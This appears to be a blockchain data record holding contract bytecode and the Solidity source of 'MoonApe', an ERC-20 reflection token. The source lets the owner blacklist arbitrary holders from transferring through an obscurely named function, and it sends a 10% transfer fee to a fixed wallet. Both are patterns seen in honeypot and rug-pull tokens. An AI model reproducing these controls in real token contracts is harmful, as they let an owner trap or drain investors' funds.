0x608060405234801561001057600080fd5b50600436106101165760003560e01c8063704b6c02116100a2578063a9059cbb11610071578063a9059cbb1461024a578063ade72ee51461025d578063da78291b14610270578063dd62ed3e14610283578063f3571819146102bc57600080fd5b8063704b6c02146101f357806370a082311461020657806395d89b411461022f578063a457c2d71461023757600080fd5b806323b872dd116100e957806323b872dd1461019a578063313ce567146101ad5780633730837c146101c257806339509351146101cb5780636a627842146101de57600080fd5b806301bc45c91461011b57806306fdde0314610150578063095ea7b31461016557806318160ddd14610188575b600080fd5b6007546101339061010090046001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6101586102cf565b6040516101479190610ecc565b610178610173366004610de5565b610361565b6040519015158152602001610147565b6004545b604051908152602001610147565b6101786101a8366004610daa565b610377565b60075460405160ff9091168152602001610147565b61018c60035481565b6101786101d9366004610de5565b610426565b6101f16101ec366004610d57565b610462565b005b6101f1610201366004610d57565b6104e2565b61018c610214366004610d57565b6001600160a01b031660009081526001602052604090205490565b61015861053a565b610178610245366004610de5565b610549565b610178610258366004610de5565b6105e2565b600854610133906001600160a01b031681565b6101f161027e366004610d57565b6105ef565b61018c610291366004610d78565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6101f16102ca366004610e2e565b610641565b6060600580546102de90610f68565b80601f016020809104026020016040519081016040528092919081815260200182805461030a90610f68565b80156103575780601f1061032c57610100808354040283529160200191610357565b820191906000526020600020905b81548152906001019060200180831161033a57829003601f168201915b5050505050905090565b600061036e3384846107a1565b50600192915050565b60006103848484846108c5565b6001600160a01b03841660009081526002602090815260408083203384529091529020548281101561040e5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61041b85338584036107a1565b506001949350505050565b3360008181526002602090815260408083206001600160a01b0387168452909152812054909161036e91859061045d908690610f44565b6107a1565b6007546001600160a01b036101009091041633146104925760405162461bcd60e51b815260040161040590610f1f565b600454156104d35760405162461bcd60e51b815260206004820152600e60248201526d185b1c9958591e481b5a5b9d195960921b6044820152606401610405565b6104df81600354610b7c565b50565b6007546001600160a01b036101009091041633146105125760405162461bcd60e51b815260040161040590610f1f565b600780546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6060600680546102de90610f68565b3360009081526002602090815260408083206001600160a01b0386168452909152812054828110156105cb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610405565b6105d833858584036107a1565b5060019392505050565b600061036e3384846108c5565b6007546001600160a01b0361010090910416331461061f5760405162461bcd60e51b815260040161040590610f1f565b600880546001600160a01b0319166001600160a01b0392909216919091179055565b600054610100900460ff168061065a575060005460ff16155b6106bd5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610405565b600054610100900460ff161580156106df576000805461ffff19166101011790555b600083116107275760405162461bcd60e51b81526020600482015260156024820152747a65726f206d617820746f74616c20737570706c7960581b6044820152606401610405565b60078054610100600160a81b0319166101003302179055600383905561074f60058989610c5b565b5061075c60068787610c5b565b506007805460ff191660ff86161790556001600160a01b03821615610785576107858284610b7c565b8015610797576000805461ff00191690555b5050505050505050565b6001600160a01b0383166108035760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610405565b6001600160a01b0382166108645760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610405565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109295760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610405565b6001600160a01b03821661098b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610405565b6008546001600160a01b031615610a7357600854604051600162309a0760e01b031981526001600160a01b03858116600483015284811660248301529091169063ffcf65f990604401602060405180830381600087803b1580156109ee57600080fd5b505af1158015610a02573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a269190610e0e565b15610a735760405162461bcd60e51b815260206004820152601960248201527f426f74207472616e73616374696f6e206465626f756e636564000000000000006044820152606401610405565b6001600160a01b03831660009081526001602052604090205481811015610aeb5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610405565b6001600160a01b03808516600090815260016020526040808220858503905591851681529081208054849290610b22908490610f44565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b6e91815260200190565b60405180910390a350505050565b6001600160a01b038216610bd25760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401610405565b8060046000828254610be49190610f44565b90915550506001600160a01b03821660009081526001602052604081208054839290610c11908490610f44565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b828054610c6790610f68565b90600052602060002090601f016020900481019282610c895760008555610ccf565b82601f10610ca25782800160ff19823516178555610ccf565b82800160010185558215610ccf579182015b82811115610ccf578235825591602001919060010190610cb4565b50610cdb929150610cdf565b5090565b5b80821115610cdb5760008155600101610ce0565b80356001600160a01b0381168114610d0b57600080fd5b919050565b60008083601f840112610d21578182fd5b50813567ffffffffffffffff811115610d38578182fd5b602083019150836020828501011115610d5057600080fd5b9250929050565b600060208284031215610d68578081fd5b610d7182610cf4565b9392505050565b60008060408385031215610d8a578081fd5b610d9383610cf4565b9150610da160208401610cf4565b90509250929050565b600080600060608486031215610dbe578081fd5b610dc784610cf4565b9250610dd560208501610cf4565b9150604084013590509250925092565b60008060408385031215610df7578182fd5b610e0083610cf4565b946020939093013593505050565b600060208284031215610e1f578081fd5b81518015158114610d71578182fd5b600080600080600080600060a0888a031215610e48578283fd5b873567ffffffffffffffff80821115610e5f578485fd5b610e6b8b838c01610d10565b909950975060208a0135915080821115610e83578485fd5b50610e908a828b01610d10565b909650945050604088013560ff81168114610ea9578384fd5b925060608801359150610ebe60808901610cf4565b905092959891949750929550565b6000602080835283518082850152825b81811015610ef857858101830151858201604001528201610edc565b81811115610f095783604083870101525b50601f01601f1916929092016040019392505050565b6020808252600b908201526a185d5d1a0819985a5b195960aa1b604082015260600190565b60008219821115610f6357634e487b7160e01b81526011600452602481fd5b500190565b600181811c90821680610f7c57607f821691505b60208210811415610f9d57634e487b7160e01b600052602260045260246000fd5b5091905056fea26469706673582212202c8a71836b9119657de6cbd2fdccbd3f862e9b074f5ae359f028d2e1530843b564736f6c63430008040033
|
{"success": true, "error": null, "results": {}}
| 8,640 |
0xc9e6bd8843108ea81a8b4b6f377ee0d14e2a4961
|
/**
* MoonApe
*/
pragma solidity ^0.8.13;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MoonApe is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 200000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "MoonApe";
string private constant _symbol = "MoonApe";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0xD0c6632bB87ab67031F5816D83b21751d0A81849);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 4000000000 * 10**9;
_maxWalletSize = 6000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b604051610151919061271e565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906127e8565b6104b4565b60405161018e9190612843565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b9919061286d565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129d0565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a19565b61060d565b60405161021f9190612843565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612a6c565b6106e6565b005b34801561025d57600080fd5b506102666107d6565b6040516102739190612ab5565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612afc565b6107df565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b29565b610891565b005b3480156102da57600080fd5b506102e361096b565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612a6c565b6109dd565b604051610319919061286d565b60405180910390f35b34801561032e57600080fd5b50610337610a2e565b005b34801561034557600080fd5b5061034e610b81565b005b34801561035c57600080fd5b50610365610c38565b6040516103729190612b65565b60405180910390f35b34801561038757600080fd5b50610390610c61565b60405161039d919061271e565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906127e8565b610c9e565b6040516103da9190612843565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b29565b610cbc565b005b34801561041857600080fd5b50610421610d96565b005b34801561042f57600080fd5b50610438610e10565b005b34801561044657600080fd5b50610461600480360381019061045c9190612b80565b611330565b60405161046e919061286d565b60405180910390f35b60606040518060400160405280600781526020017f4d6f6f6e41706500000000000000000000000000000000000000000000000000815250905090565b60006104c86104c16113b7565b84846113bf565b6001905092915050565b6000680ad78ebc5ac6200000905090565b6104eb6113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612c0c565b60405180910390fd5b60005b81518110156106095760016006600084848151811061059d5761059c612c2c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060190612c8a565b91505061057b565b5050565b600061061a848484611588565b6106db846106266113b7565b6106d6856040518060600160405280602881526020016136c160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068c6113b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c199092919063ffffffff16565b6113bf565b600190509392505050565b6106ee6113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077290612c0c565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e76113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b90612c0c565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108996113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90612c0c565b60405180910390fd5b6000811161093357600080fd5b610962606461095483680ad78ebc5ac6200000611c7d90919063ffffffff16565b611cf790919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ac6113b7565b73ffffffffffffffffffffffffffffffffffffffff16146109cc57600080fd5b60004790506109da81611d41565b50565b6000610a27600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dad565b9050919050565b610a366113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba90612c0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b896113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d90612c0c565b60405180910390fd5b680ad78ebc5ac6200000600f81905550680ad78ebc5ac6200000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f4d6f6f6e41706500000000000000000000000000000000000000000000000000815250905090565b6000610cb2610cab6113b7565b8484611588565b6001905092915050565b610cc46113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4890612c0c565b60405180910390fd5b60008111610d5e57600080fd5b610d8d6064610d7f83680ad78ebc5ac6200000611c7d90919063ffffffff16565b611cf790919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd76113b7565b73ffffffffffffffffffffffffffffffffffffffff1614610df757600080fd5b6000610e02306109dd565b9050610e0d81611e1b565b50565b610e186113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c90612c0c565b60405180910390fd5b600e60149054906101000a900460ff1615610ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eec90612d1e565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f8530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16680ad78ebc5ac62000006113bf565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff49190612d53565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561105b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107f9190612d53565b6040518363ffffffff1660e01b815260040161109c929190612d80565b6020604051808303816000875af11580156110bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110df9190612d53565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611168306109dd565b600080611173610c38565b426040518863ffffffff1660e01b815260040161119596959493929190612dee565b60606040518083038185885af11580156111b3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d89190612e64565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff021916908315150217905550673782dace9d900000600f819055506753444835ec5800006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112e9929190612eb7565b6020604051808303816000875af1158015611308573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061132c9190612ef5565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361142e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142590612f94565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361149d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149490613026565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161157b919061286d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ee906130b8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611666576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165d9061314a565b60405180910390fd5b600081116116a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a0906131dc565b60405180910390fd5b6000600a81905550600a600b819055506116c1610c38565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561172f57506116ff610c38565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c0957600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117d85750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6117e157600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561188c5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118e25750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118fa5750600e60179054906101000a900460ff165b15611a3857600f54811115611944576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193b90613248565b60405180910390fd5b60105481611951846109dd565b61195b9190613268565b111561199c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119939061330a565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119e757600080fd